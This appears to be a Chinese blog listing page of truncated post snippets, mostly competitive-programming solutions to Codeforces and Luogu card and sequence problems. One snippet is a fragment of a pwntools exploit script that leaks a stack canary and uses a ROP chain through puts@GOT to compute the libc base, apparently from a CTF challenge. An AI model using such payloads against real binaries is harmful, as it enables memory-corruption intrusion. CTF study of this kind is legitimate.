链接:https://www.luogu.com.cn/problem/CF1932D https://codeforces.com/problemset/problem/1932/D 总的来说,就是把每副牌分开存储,然后如果长度是奇数,那么就从万能牌中拿过来一张;如果是偶数就不需要 判断是否是impossible? 每组对2求余之后加起来,如果比万能牌长度长就impossible 题面: 代码: #include<i...
正题 题目链接:https://www.luogu.com.cn/problem/CF1427F 题目大意 有一个$1\sim 6n$的序列,两个人轮流操作,每次取走连续的三个数字。 现在给出先手取走的数字集合,要求构造方案。 保证有解 $1\leq n\leq 200$ 解题思路 我们给先手取的颜
题目链接:https://www.luogu.com.cn/problem/CF388C 1|1题目大意 有nn堆卡片,第ii堆有sisi张,给出每张卡的权值。现在先手选择一堆取走堆底的牌,然后后手选择一堆取走堆顶的牌,直到所有牌被取走。在双方都要求最大化取走的牌的权值的情况下求先后手的权值。 1≤n,si≤100,1≤ai,j≤10001≤n,si≤100...
'-1000') payload = 'a'*(0x110-8) + p64(canary) + 'b'*8 #payload += p64(main) payload += p64(pop_ret) + p64(puts_got) + p64(puts_plt) + p64(0x400907) #log.info(payload) io.sendlineafter('game?\n', payload) libc_base = u64(io.recv(6).ljust(8,'\x00')) - ...
题目链接:https://www.luogu.com.cn/problem/AT2070 1|1题目大意 有三堆卡牌各有n,m,kn,m,k张,每张上写了a/b/ca/b/c,对于第1/2/31/2/3堆卡牌。然后开始从第一堆拿牌,然后根据拿到的牌在对应的堆拿牌。 如果到一堆拿牌时没有牌就结束,求第一张牌结束的方案数。 1≤n,m,k≤3×1051≤n,m,...